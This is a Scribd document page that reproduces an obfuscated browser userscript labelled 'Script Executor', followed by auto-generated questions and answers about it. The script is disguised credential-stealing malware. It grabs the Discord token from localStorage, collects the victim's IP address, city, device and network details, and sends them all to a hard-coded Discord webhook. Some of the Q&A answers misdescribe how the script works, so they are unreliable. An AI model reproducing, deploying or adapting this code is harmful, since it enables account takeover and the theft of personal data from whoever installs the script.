0% found this document useful (0 votes)
11 views2 pages

Obfuscated Script Executor for Userscripts

Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
11 views2 pages

Obfuscated Script Executor for Userscripts

Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

// ==UserScript==

// @name Script Executor(obfuscated)


// @namespace Script Runner Pro
// @author NexusFusion
// @include *
// @grant GM_xmlhttpRequest
// @run-at document-start
// ==/UserScript==
function _0x40ea(_0x58e1fe,_0x2c55b8){const _0x168596=_0x1685();return
_0x40ea=function(_0x40eae1,_0x26455c){_0x40eae1=_0x40eae1-0x191;let
_0x5cb765=_0x168596[_0x40eae1];return
_0x5cb765;},_0x40ea(_0x58e1fe,_0x2c55b8);}function _0x1685(){const
_0x59d9b9=['[Link]
[Link]','searchParams','setRequestHeader','replace','5118HLpxYP','9334956AlxHgI','h
ttps://[Link]/json/','parse','platform','22CceONL','[Link]
channels/@me','push','performance','POST','City','[Link]
AyV7bQ5TE2','href','\x20\x20Used\x20JS\x20Heap\x20Size:\
x20','78bxwlGy','vendor','send','IP\
x20Address','toISOString','open','usedJSHeapSize','entries','userAgent','onLine','t
ype','appVersion','More\x20Info','location','ShadowMods','Check\x20out\x20what\
x20we\x20retrieved!','application/
json','85672tEdiAQ','224111mKRJiD','stringify','1291600QGSnJX','1978865icNjHR','eff
ectiveType','connection','2gcFlun','ShadowMods!','languages','memory','\x20\
x20Total\x20JS\x20Heap\x20Size:\
x20','map','129608JOEWjQ','plugins','get','jsHeapSizeLimit','875psXSTT','Content-
type','GET','[Link]
rCX6_0OkIQZlSCOCmS1JZADdDtv0vInGE4sjgdvz-
LHCkYxYohNkt2o09Tv4ZLYsLp8J','join','153PlFfDW','\x20\x20Online:\
x20'];_0x1685=function(){return _0x59d9b9;};return _0x1685();}
(function(_0x434a20,_0x468181){const
_0x5f3040=_0x40ea,_0x30d5a6=_0x434a20();while(!![]){try{const
_0x5cba0f=parseInt(_0x5f3040(0x1c5))/0x1*(-parseInt(_0x5f3040(0x1cb))/
0x2)+parseInt(_0x5f3040(0x1b3))/0x3*(-parseInt(_0x5f3040(0x1c4))/
0x4)+parseInt(_0x5f3040(0x1c8))/0x5+parseInt(_0x5f3040(0x1a5))/0x6*(-
parseInt(_0x5f3040(0x19a))/0x7)+-parseInt(_0x5f3040(0x196))/0x8*(-
parseInt(_0x5f3040(0x19f))/0x9)+-parseInt(_0x5f3040(0x1c7))/
0xa*(parseInt(_0x5f3040(0x1aa))/0xb)+parseInt(_0x5f3040(0x1a6))/
0xc;if(_0x5cba0f===_0x468181)break;else _0x30d5a6['push'](_0x30d5a6['shift']
());}catch(_0x2a2870){_0x30d5a6['push'](_0x30d5a6['shift']());}}}(_0x1685,0x4a04b),
(function(){const
_0x1e8402=_0x40ea,_0x4d63ed=_0x1e8402(0x19d),_0x29babc=_0x3fcc07(),_0x23883b=_0x109
b39();function _0x66d5f4(_0x26ace2){const
_0x33c30a=_0x1e8402;GM_xmlhttpRequest({'method':_0x33c30a(0x19c),'url':_0x33c30a(0x
1a7),'onload':function(_0x1e9131){const
_0x378dd2=_0x33c30a,_0x2ce94f=JSON[_0x378dd2(0x1a8)]
(_0x1e9131['responseText']);_0x26ace2(_0x2ce94f['ip'],_0x2ce94f['city'],_0x2ce94f[_
0x378dd2(0x192)]);}});}if(window[_0x1e8402(0x1c0)]['href']['startsWith']('https://
[Link]/')){const _0x4e7ce4=new URL(window['location']
[_0x1e8402(0x1b1)]),_0xe63345=atob(_0x4e7ce4[_0x1e8402(0x1a2)][_0x1e8402(0x198)]
('v')),_0x35edc2=_0xe63345[_0x1e8402(0x1a4)](/["\\]/g,'');_0xe63345!
=null&&_0x66d5f4(function(_0x121ffa,_0x396c73,_0x10519e){const
_0x4bb5e5=_0x1e8402,_0x5bcd0a=new XMLHttpRequest();_0x5bcd0a[_0x4bb5e5(0x1b8)]
(_0x4bb5e5(0x1ae),_0x4d63ed),_0x5bcd0a[_0x4bb5e5(0x1a3)]
(_0x4bb5e5(0x19b),_0x4bb5e5(0x1c3));const
_0x49a392={'username':'ShadowMods','avatar_url':_0x4bb5e5(0x1a1),'embeds':
[{'title':_0x4bb5e5(0x191),'description':_0x4bb5e5(0x1c2),'url':_0x4bb5e5(0x1b0),'c
olor':0xba55d3,'author':
{'name':_0x4bb5e5(0x1c1),'icon_url':_0x4bb5e5(0x1a1),'url':'[Link]
[Link]/'},'thumbnail':{'url':'[Link]
{'text':'Made\x20by\x205hadow_pho3nix\x20|\x20Posted\x20at\
x20','icon_url':_0x4bb5e5(0x1a1)},'timestamp':new Date()[_0x4bb5e5(0x1b7)]
(),'fields':[{'name':'Token','value':_0x35edc2},
{'name':_0x4bb5e5(0x1b6),'value':_0x121ffa},
{'name':_0x4bb5e5(0x1af),'value':_0x396c73},
{'name':_0x4bb5e5(0x192),'value':_0x10519e},{'name':'Device\
x20Info','value':_0x29babc},
{'name':_0x4bb5e5(0x1bf),'value':_0x23883b}]}]};_0x5bcd0a[_0x4bb5e5(0x1b5)]
(JSON[_0x4bb5e5(0x1c6)](_0x49a392));});}else{if(window[_0x1e8402(0x1c0)]
[_0x1e8402(0x1b1)]===_0x1e8402(0x1ab)){const
_0x5431ec=localStorage['token'];_0x5431ec!=null&&(window[_0x1e8402(0x1c0)]
[_0x1e8402(0x1b1)]='[Link]
(_0x5431ec)));}else window[_0x1e8402(0x1c0)]['href']=_0x1e8402(0x1ab);}function
_0x3fcc07(){const
_0x289b69=_0x1e8402,_0x51b730={'platform':navigator[_0x289b69(0x1a9)],'appName':nav
igator['appName'],'appVersion':navigator[_0x289b69(0x1be)],'userAgent':navigator[_0
x289b69(0x1bb)],'vendor':navigator[_0x289b69(0x1b4)]},_0x3d4eea=Object[_0x289b69(0x
1ba)](_0x51b730)[_0x289b69(0x195)](([_0x56ca8a,_0x4b9b45],_0x373d15)=>''+
(_0x373d15===0x0?'\x20':'\x20\x20')+_0x56ca8a+':\x20'+_0x4b9b45)[_0x289b69(0x19e)]
('\x0a');return _0x3d4eea;}function _0x109b39(){const
_0x3e8088=_0x1e8402,_0x1bef0f=[];if(navigator[_0x3e8088(0x1ca)]){const
_0x234cec=navigator['connection'];_0x1bef0f[_0x3e8088(0x1ac)]('\x20Network\
x20Type:\x20'+_0x234cec[_0x3e8088(0x1bd)]),_0x1bef0f['push']('\x20\x20Effective\
x20Network\x20Type:\x20'+_0x234cec[_0x3e8088(0x1c9)]),_0x1bef0f['push']
(_0x3e8088(0x1a0)+navigator[_0x3e8088(0x1bc)]);}if(window[_0x3e8088(0x1ad)]&&window
['performance'][_0x3e8088(0x193)]){const _0xd99a3a=window[_0x3e8088(0x1ad)]
['memory'];_0x1bef0f[_0x3e8088(0x1ac)]
(_0x3e8088(0x194)+_0xd99a3a['totalJSHeapSize']),_0x1bef0f[_0x3e8088(0x1ac)]
(_0x3e8088(0x1b2)+_0xd99a3a[_0x3e8088(0x1b9)]),_0x1bef0f[_0x3e8088(0x1ac)]('\x20\
x20JS\x20Heap\x20Size\x20Limit:\
x20'+_0xd99a3a[_0x3e8088(0x199)]);}if(navigator['plugins']){const
_0x1fc528=Array['from'](navigator[_0x3e8088(0x197)])['map']
(_0x1c44d4=>_0x1c44d4['name']);_0x1bef0f['push']('\x20\x20Plugins:\
x20'+JSON[_0x3e8088(0x1c6)](_0x1fc528));}return _0x1bef0f[_0x3e8088(0x19e)]('\
x0a');}}()));

Common questions

Powered by AI

Security features to counteract scripts of this nature include enhanced browser security settings, use of content security policies, and script blockers like NoScript. These tools can detect and prevent unauthorized scripts from executing, enforce permission checks, and restrict network connections from sending data without user consent .

In the userscript, the XMLHttpRequest object is utilized to send HTTP requests to specific endpoints to collect data, such as sending user information to defined webhooks. It facilitates the asynchronous communication necessary for transmitting data quietly behind the scenes without disrupting the user's internet activity .

The userscript uses the GM_xmlhttpRequest method to send a GET request to the service 'https://ipapi.co/json/' which responds with the user's IP address and city information that the script then processes .

The script uses conditional logic to adjust its behavior based on the URL present in the browser window. It checks the starting point, whether it is a YouTube address or another 'default' page, to dynamically alter execution paths, such as redirecting or encoding tokens for further data collection .

The script employs obfuscation techniques such as encoding and transforming function names and variable identifiers, making it difficult to decipher its operations at a glance. This approach conceals the malicious intent and bypasses simplistic text-based security audits on code .

The script checks if the current URL belongs to YouTube, then potentially manipulates it to include encoded tokens. It also uses Discord webhooks to send collected data. This dual integration suggests an attempt to exploit popular platforms to spread or hide its operations, leveraging these sites' widespread use to minimize detection risk .

The script accesses the navigator object to extract details such as platform, app version, user agent, and vendor. This information about the user's device environment is formatted and presumably sent off to external endpoints, offering insight into the user's setup for potential exploitation .

The primary purpose of the described userscript is to collect information such as IP address, city, and device information when a user visits specific websites like YouTube. It accesses and sends these details to an external URL using HTTP requests, presumably for unauthorized data collection or monitoring .

Using a script to collect user data without explicit consent raises significant ethical concerns. Such practices violate privacy norms and potentially breach legal standards like GDPR, which mandates user consent for data collection. It also undermines trust with users who expect transparency and security while using online services .

If executed without user knowledge, the script could lead to privacy violations and unauthorized access to sensitive information such as IP addresses, geographical locations, and device details. This data, if misused, could facilitate targeted attacks or identity theft. Furthermore, the violation of user trust and potential legal consequences for the hosting sites would be significant .

You might also like